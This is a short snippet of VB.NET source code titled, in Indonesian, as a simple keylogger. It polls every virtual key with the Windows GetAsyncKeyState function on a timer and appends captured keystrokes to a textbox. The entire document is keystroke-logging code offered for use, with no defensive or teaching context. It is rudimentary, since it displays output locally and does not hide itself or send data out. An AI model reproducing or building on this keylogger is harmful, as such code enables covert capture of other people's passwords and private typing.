KeyLogger sederhana VB.NET

Asset : 1 TextBox dan 1 Timer

Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Integer) As Integer

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        Dim KEY As Integer

        For i = 1 To 255

            KEY = 0

            KEY = GetAsyncKeyState(i)

            If KEY = -32767 Then

                TextBox1.Text += Chr(i)

            End If

        Next

    End Sub